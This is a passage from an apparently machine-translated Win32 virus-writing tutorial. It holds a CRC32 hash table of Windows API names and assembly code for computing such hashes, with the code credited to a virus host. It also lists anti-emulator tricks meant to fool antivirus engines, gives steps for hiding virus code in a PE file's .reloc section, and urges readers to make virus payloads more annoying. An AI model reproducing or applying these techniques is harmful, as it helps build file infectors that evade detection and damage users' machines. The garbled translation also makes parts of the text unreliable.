API name CRC32 API name CRC32 -------- ----- -------- ----- CreateFileA 08C892DDFh CloseHandle 068624A9Dh FindFirstFileA 0AE17EBEFh FindNextFileA 0AA700106h FindClose 0C200BE21h CreateFileMappingA 096B2D96Ch GetModuleHandleA 082B618D4h GetProcAddress 0FFC97C1Fh MapViewOfFile 0797B49ECh UnmapViewOfFile 094524B42h GetFileAttributesA 0C633D3DEh SetFileAttributesA 03C19E536h ExitProcess 040F57181h SetFilePointer 085859D42h SetEndOfFile 059994ED6h DeleteFileA 0DE256FDEh GetCurrentDirectoryA 0EBC6C18Bh SetCurrentDirectoryA 0B2DBD7DCh GetWindowsDirectoryA 0FE248274h GetSystemDirectoryA 0593AE7CEh LoadLibraryA 04134D1ADh GetSystemTime 075B7EBE8h CreateThread 019F33607h WaitForSingleObject 0D4540229h ExitThread 0058F92 01h GetTickCount 0613FD7BAh FreeLibrary 0AFDF191Fh WriteFile 021777793h GlobalAlloc 083A353C3h GlobalFree 05CDF6B6Ah GetFileSize 0EF7D811Bh ReadFile 054D8615Ah GetCurrentProcess 003690E66h GetPriorityClass 0A7D0D775h SetPriorityClass 0C38969C7h FindWindowA 085AB3323h PostMessageA 086678A04h MessageBoxA 0D8556CF7h RegCreateKeyExA 02C822198h RegSetValueExA 05B9EC9C6h MoveFileA 02308923Fh CopyFileA 05BD05DB1h GetFullPathNameA 08F48B20Dh WinExec 028452C4Fh CreateProcessA 0267E0B05h _lopen 0F2F886E3h MoveFileE
XA 03BE43958H COPYFILEEXA 0953F2B64H OpenFile 068D8FC46H Do you want other API? You may need to know the CRC32 value of other API names, so I will give a small and effective program to help my own procedure, I hope to have you help. ; ------ From here start cutting ------------------------------------ ----------------- .586 .Model flat .data extrn EXTPROCESS: Proc Extrn MessageBoxa: Proc Extrn Getcommandlinea: Proc Titulo DB "getCrc32 by Billy Belcebu / Ikx", 0 Message DB "STENDOFFILE"; PUT Here The String You; Want To Know ITS CRC32 _ DB 0 DB "CRC32 IS" CRC32_ DB "000000", 0 .code test: Mov Edi, _- Message Lea ESI, Message; Load Pointer To API name call CRC32; Get its CRC32 lea edi, crc32_; Transform hex to text call HexWrite32 mov _, ""; make 0 to be an space push 00000000h; Display message box with push offset titulo; the API name and its CRC32 push offset message push 00000000h call MessageBoxA push 00000000h call ExitProcess HexWrite8 proc; This code has been taken mov ah, al; from the 1st generation and al, 0Fh; host of Bizatch shr ah, 4 or ax, 3030h xchg al, ah cmp ah , 39h ja @@ 4 @@ 1: CMP AL, 39H JA @@ 3 @ &
# 64; 2: Stosw Ret @@ 3: Sub Al, 30h Add Al, 'A' - 10 JMP @@ 2 @@ 4: Sub Ah, 30H Add Ah, 'A' - 10 JMP @@ 1 HEXWRITE8 ENDP HEXWRITE16 proc push ax xchg al, ah call HexWrite8 pop ax call HexWrite8 ret HexWrite16 endp HexWrite32 proc push eax shr eax, 16 call HexWrite16 pop eax call HexWrite16 ret HexWrite32 endp CRC32 proc cld xor ecx, ecx; Optimized by me - 2 bytes dec ecx; Less Mov Edx, ECX NEXTBYTECRC: XOR EAX, EAX XOR EBX, EBX LODSB XOR Al, Cl Mov CL, CH MOV CH, DL MOV DL, DH MOV DH, 8 NEXTBITCRC: SHR BX, 1 RCR AX, 1 JNC NOCRC XOR AX 08320h xor bx, 0edb8h NOCRC: DEC DH JNZ NEXTBITCRC XOR ECX, EAX XOR EDX, EBX DEC EDI; 1 BYTE LESS JNZ NEXTBYTECRC NOTE EDX NOT ECX MOV EAX, EDX ROL EAX, 16 MOV AX, CX RET CRC32 Endp End Test; ---------- Cut here ------------------------------------------- ----------- Cool, Ha?:)% Antiemulators% ~~~~~~~~~~~~~~ Just like this Many places of articles, this small chapter is collaborate by super and me. There will be some list of things, and it will definitely fool the anti-virus simulation system, and some small debuggers are no exception. Enjoy! - Errors with SEH. Example: Pseh
[...] <- if we are here, we are being emulated! Virus_code: Rseh [...] <- The Virus Code :) - Using the CS segment prefix. Example: JMP CS: [Shit] CALL CS: [Shit] - Using RETF. Example: Push CS Call Shit Retf - Play DS. Example: Push DS Pop Eax or even better: Push DS Pop AX or better: MOV Eax, DS Push Eax Pop DS - Use Push CS / POP REG Repeat NODICE Simulation : MOV EBX, ESP PUSH CS POP EAX CMP ESP, EBX JNE NOD_ICE_DETECTED - Using the operating code without formal documentation: Salc; DB 0D6H BPICE; DB 0f1H - Use Threads and / or Fibers. I hope that all these things will be useful for you: )% Write .reloc section% ~~~~~~~~~~~~~ This is a very interesting thing. If ImageBase of the PE file is changed because of some reason, it is not always available (99.9%), '. Reloc' is very useful, but not required. And '.reloc' section is usually very huge, so why don't you use it to store our virus? I suggest you read the tutorial on the B0Z0 in Xine # 3, called "ideas and theoryes on pe infection" because it provides Many interesting information. Ok, if you want to know how to write .reloc section, just follow: in the section: 1. Put the size of the virus to the new Virtualsize 2. Give the alignment Virtualsize to the new SizeoFrawData 3. Clear Pointertorelocations and NumberOfrelOcations 4. Change the .reloc name is another in the pee: 1. Clear Offset A0H (RVA to fixup Table) 2. Clear the entrance of Offset A4H (Size of Such Table) virus It is the VirtualAddress of the section. It is sometimes hidden, because sometimes the size does not grow (in a very large virus), because relocs are usually very huge.
[Appendix 1: Feed] Because we work under a graphical operation system, our attacks can be more impressive. There is no doubt that I don't want more episodes like CiH and Kriz viruses. Just look at Marburg, HPS, SEXY2, HATRED, POSHKILLER, HARRIER, and many other viruses. They really shocked. Of course, you still have to look at the viruses with multiple episodes, such as Girigat and Thorin. As long as you think, unless you show your emblem, the user will not pay attention to the existence of viruses. So, the situation you will give is the crystallization of your work. If your episode is too rubbish, your virus will look very garbage :) There are many things to do: You can change the wallpaper, you can change the string (just like my legacy), you can show him Home page, you can do some elegant things under Ring-0 (like Sexy2 and Poshkiller), and so on. Just study some Win32 API. Try to make the episode more annoying, better :) [Appendix 2: About the author] :) I gave me this section. You can say that I have private, big, or hipocrite ([translator's note] has never seen this word). I know that I am not this :) I just want you to know people taught to you in this tutorial. I (still) is a 16-year-old Spanish. And I have my own worldview, I have my own political, I have a belief, I think we can do something to save today's pathological society. I don't want to live in a place of life (any of the forms of life, humans, animals, vegetables ...), democracy is solved by the government (this is not only Spain, but also in many big countries Such as USA, UK, FRACE, and the like). Democracy (I want communism will be better, but if there is no better thing than democracy ...) must make the country's residents can choose their future. Oh, I am tired of writing this in something I am going to release. It looks like a wall :) OK, OK, I will talk about my work.
I am using the following virus (until now): at DDT, - Antichrist to the public] - Win9x.garaipena [AVP: Win95.Gara] - Win9x.ICed Earth [AVP: Win95.ICed. 1617] At IKX, - Win32.aztec V1.00, V1.01 [AVP: Win95.ICed.1412] - Win32.Paradise V1.00 [AVP: Win95.ICed.2112] - Win9X.Poshkiller V1.00 - Win32.thorin V1.00 - Win32.Egacy V1.00 - Win9x.molly - Win32.Rhapsody is also available from the following variation engine: - LSCE V1.00 [Little Shitty Compression Engine] - Thme V1.00 [The Hobbit MUTATION ENGINE] - MMXE V1.00, V1.01 [MultimorDia Extensions Engine] - Phire V1.00 [POLYMORPHIC HEADIT RANDOM Engine] - IEnc v1.00 [Internal Encryptor] and I have written a lot of tutorials, but I Not listed here :) Now, I am an IKX organization. member. As you know, IKX represents International Knowledge Exchange. In the past, I was the establishment of DDT. I call yourself is the protector of anti-fascist, human rights, anti-warriors, and guys who are abused women and children very hate. I just have confidence in myself, I don't have any religious beliefs. Another important thing for me (except friends) is music. When writing these things, I have been listening to music :) I want more to know me and my work, look at my homepage. [Conclusion] ~~~~~~~~~~ Ok, another tutorial to its end ... In some aspects it is a bit Luo Wei (, I am a person, I am more willing to code instead of writing instead of writing ), But in my mind, I will always hope that some people have some ideas when reading it. As I said in the introduction, almost all code I have listed here is my own written (not my dos vwgs). I hope it helps you. I know that I have not involved something, such as adding a new festival, or "calling the door" technology or "VMM insertion" to enter Ring-0. I just try to make this tutorial simple. Now you have to judge whether it is a correct choice. Time will prove everything.